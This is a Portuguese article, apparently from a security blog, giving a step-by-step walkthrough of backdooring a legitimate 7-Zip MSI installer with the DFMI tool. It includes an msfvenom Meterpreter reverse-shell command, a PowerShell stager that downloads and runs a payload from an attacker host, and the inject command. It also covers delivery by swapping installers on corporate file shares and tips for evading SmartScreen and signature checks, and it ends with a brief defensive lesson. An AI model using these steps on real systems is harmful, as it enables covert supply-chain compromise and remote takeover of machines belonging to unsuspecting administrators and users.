NT-2026.09.24 DOSSIÊ

DFMI: BACKDOORING DE INSTALADORES MSI FILELESS

Técnica apresentada na DEFCON 34 injeta CustomActions em pacotes .msi legítimos: o software instala normalmente enquanto o payload executa em segundo plano, sem arquivos em disco.

Capa do artigo DFMI: backdooring de instaladores MSI, com fluxo Análise de MSI, Injeção de Payload e C2 Connection

Instaladores em compartilhamentos como vetor de ataque

Em empresas de grande porte, compartilhamentos de arquivos frequentemente reúnem os instaladores que a equipe de TI usa em estações de trabalho e servidores. Concentrar esses pacotes em um share separado é prática comum — e alguns administradores deixam esse diretório totalmente acessível, sob a premissa de que não há nada de valioso ali.

Essa premissa é falsa. Um instalador .msi pode receber um backdoor sem quebrar sua funcionalidade: o software continua instalando normalmente, mas uma ação oculta executa durante o processo. Na próxima vez que um administrador rodar o pacote comprometido, o backdoor dispara sob os privilégios dele — o que permite movimentação lateral na rede sem precisar da senha dessa conta.

A ferramenta usada nesta demonstração é o DFMI, apresentada na DEFCON 34. Trata-se de uma suíte para execução de código fileless e entrega encoberta de payloads em operações red team através de arquivos .msi, abusando do mecanismo de CustomActions do Windows Installer para executar payloads silenciosamente durante a instalação de software legítimo. Com tempo dedicado ao backdoor, é possível reduzir os alertas do SmartScreen e dar ao instalador uma aparência bem mais confiável.

Instalação das dependências

O trabalho é feito a partir do Kali Linux. Para manipular pacotes MSI no Linux, o DFMI depende do msitools — o conjunto de utilitários que inclui msibuild e msiinfo, usados pela ferramenta para executar consultas SQL diretamente contra o banco de dados do instalador.

Atualize os repositórios e instale os pacotes:

sudo apt update
sudo apt install -y msitools wixl

O msitools fornece a infraestrutura de leitura e reconstrução do MSI. O wixl, compilador WiX para Linux, é usado pelo módulo stub (que cria instaladores do zero) e acompanha a instalação recomendada da suíte.

Obtenção e execução do DFMI

Com as dependências instaladas, clone o repositório oficial e execute a ferramenta:

git clone https://github.com/ccelikanil/DFMI.git
cd DFMI
python3 dfmi.py

O menu principal lista os três módulos da suíte: inject, que injeta um CustomAction em um MSI existente; rogue-mst, que gera um transform .mst preservando a assinatura digital do pacote original; e stub, que cria um MSI malicioso autônomo do zero. Esta demonstração cobre apenas o comando inject — ele é suficiente para backdoorar um instalador.

Menu principal do DFMI em terminal, listando os módulos inject, rogue-mst e stub
Menu principal do DFMI com os módulos inject, rogue-mst e stub.

Preparação do instalador alvo

Existem várias aplicações com instaladores .msi disponíveis no GitHub. O 7-Zip é um exemplo recorrente em shares corporativos, mas qualquer instalador encontrado no compartilhamento serve. A demonstração copiou o pacote diretamente da página de releases oficial:

wget https://github.com/ip7z/7zip/releases/download/26.03/7z2603-x64.msi -O 7zip_original.msi

A versão 26.03 é a release vigente do 7-Zip no momento da demonstração; o endereço exato muda com novas versões. O essencial é usar o pacote oficial do fornecedor — é isso que dá ao artefato backdoored a aparência de software legítimo.

Terminal mostrando o download do instalador MSI do 7-Zip via wget
Download do instalador oficial do 7-Zip como base para o backdoor.

Geração do payload

A estratégia usa dois componentes: o payload gerado pelo framework de C2 e um script PowerShell benigno injetado no instalador, que baixa e executa o primeiro a partir do servidor do atacante.

A demonstração usou o Metasploit para gerar o binário de conexão reversa Meterpreter:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP-DO-ATACANTE> LPORT=<PORTA> -f exe -o payload.exe

O script de estágio 1 tem estrutura simples — baixa o executável do C2 e o inicia na máquina vítima:

Invoke-WebRequest -Uri "http://<IP-DO-ATACANTE>:<PORTA>/payload.exe" -OutFile "C:\Temp\payload.exe"
Start-Process "C:\Temp\payload.exe"

No fluxo do DFMI, o conteúdo desse script é codificado em Base64 e embutido no campo Target de um CustomAction Type 50 que resolve para o PowerShell via cmd.exe — a codificação e a montagem da estrutura são feitas pela própria ferramenta durante a injeção.

Terminal exibindo a geração do payload exe com msfvenom
Geração do payload Meterpreter com msfvenom.

Injeção do backdoor

Com o instalador original e a URL do script de estágio 1 prontos, o comando inject monta a cópia backdoored:

python3 dfmi.py inject 7zip_original.msi 7zip_backdoor.msi --c2 http://<IP-DO-ATACANTE>:8000/payload.ps1

A injeção adiciona um CustomAction Type 50 ao banco de dados do MSI: uma propriedade CMDEXE aponta para o cmd.exe e o Target carrega a chamada PowerShell codificada. A ação entra na tabela InstallExecuteSequence na sequência 1510 — imediatamente após InstallInitialize (1500) e antes de InstallFiles (4000) — para que o payload execute antes de qualquer arquivo legítimo ser gravado em disco. O sufixo “& exit 0” força a ação a retornar sempre sucesso, e o instalador nunca aborta, independentemente do resultado do payload.

O resultado é o arquivo 7zip_backdoor.msi: um pacote que preserva toda a funcionalidade do instalador original e transporta a ação oculta. O arquivo original nunca é modificado — a ferramenta trabalha sobre uma cópia.

Terminal mostrando a execução do comando inject do DFMI sobre o instalador
Execução do comando inject do DFMI sobre o MSI do 7-Zip.

Formas de execução no alvo

Ao concluir a injeção, o DFMI exibe no rodapé do terminal as diferentes formas de executar o instalador backdoored na máquina alvo a partir da linha de comando. A demonstração usa a interface gráfica: o pacote pode ser instalado pelo duplo clique, como qualquer software legítimo.

O mesmo instalador aceita a execução via msiexec, o padrão do Windows Installer:

msiexec /i 7zip_backdoor.msi

Para pacotes assinados em que a alteração do arquivo não é aceitável, a suíte oferece o módulo rogue-mst: um transform .mst separado, aplicado ao pacote original em tempo de instalação via parâmetro TRANSFORMS=, preservando a assinatura Authenticode do MSI legítimo.

Rodapé do DFMI listando comandos para executar o MSI backdoored na máquina alvo
Opções de execução do instalador backdoored listadas pelo DFMI.

Entrega do artefato

Para entregar o instalador à vítima, reúna os artefatos em um diretório — o MSI backdoored, o payload.exe e o payload.ps1 — e monte um servidor HTTP simples para hospedá-los:

# confira se todos os arquivos estão no diretório atual
ls
python3 -m http.server

A partir daqui, a entrega explora o vetor que abriu a superfície de ataque: substituir o instalador dentro do share corporativo e aguardar que alguém o execute — o que pode levar tempo — ou induzir o download a partir do servidor controlado.

Terminal com servidor HTTP Python servindo o diretório dos artefatos
Servidor HTTP simples hospedando os artefatos para entrega.

Infecção e execução no alvo

Na demonstração, o instalador foi baixado do servidor HTTP e a instalação disparada pela interface gráfica, como um usuário faria com software legítimo.

Um detalhe observável durante a instalação do pacote backdoored: uma janela de terminal vazia aparece brevemente. Esse comportamento não é um entregador — softwares legítimos também exibem janelas de console fugazes, então o evento não denuncia por si só a ação oculta. Ajustar o timestamp do arquivo no share torna o artefato ainda mais confiável.

Ao final da instalação, a conexão reversa chega ao servidor de comando e controle: a sessão Meterpreter é estabelecida com os privilégios do usuário que executou o instalador.

Assistente de instalação do 7-Zip executando o MSI backdoored na máquina alvo
Assistente de instalação do 7-Zip backdoored em execução na máquina alvo.
Terminal do Metasploit exibindo a sessão Meterpreter recebida no servidor de C2
Sessão Meterpreter estabelecida no C2 após a instalação.

O software original continua funcional

O ponto decisivo da técnica é a não-disrupção: o 7-Zip instalado continua funcionando perfeitamente, sem anomalia perceptível ao usuário. A instalação legítima mascara a ação oculta — a janela de terminal que piscou durante o processo passa a parecer parte esperada da instalação, minimizando a suspeita.

Essa preservação é o que distingue o ataque por CustomAction de uma troca simples de binário: a vítima recebe um software que funciona de verdade, e o backdoor executou em paralelo, durante a instalação.

Interface do 7-Zip aberta e funcionando após a instalação do pacote backdoored
O 7-Zip instalado funciona normalmente, mascarando a ação oculta.

Limitações do inject e assinaturas digitais

O módulo inject tem um limite objetivo: qualquer modificação em um MSI assinado invalida a assinatura Authenticode. O Windows pode exibir aviso de editor desconhecido, e políticas de application control podem bloquear o pacote. Quando preservar a assinatura é requisito, o caminho é o módulo rogue-mst — o transform .mst não altera o arquivo original, que mantém a assinatura intacta, e o msiexec aplica o transform em tempo de execução.

O DFMI randomiza os GUIDs ProductCode e PackageCode a cada execução, para que o cache do Windows Installer não sirva o pacote antigo no lugar do novo. Para MSIs sem as tabelas CustomAction e InstallExecuteSequence — caso de pacotes mínimos como o do 7-Zip — a ferramenta cria as tabelas do zero.

A cadeia tem pontos de fricção declarados: o payload precisa contornar AMSI/EDR por conta própria (a suíte não entrega bypass pronto) e o backdoor não estabelece persistência — dispara uma única vez, durante a instalação.

Conclusão

Com tempo suficiente de trabalho, é possível burlar o SmartScreen e ofuscar o payload para evadir detecção. Muitas empresas não têm recursos para proteções maduras, e o uso de software pirata é prática comum em certos mercados — o que torna o ambiente ainda mais permissivo e os administradores menos alertas.

O exemplo demonstrado é básico, mas foi suficiente para infectar a máquina da demonstração e obter acesso remoto sem quebrar o instalador. Para defensores, a lição é direta: compartilhamentos de software com permissões permissivas são superfície de ataque real, e a integridade dos instaladores precisa ser tratada como ativo crítico.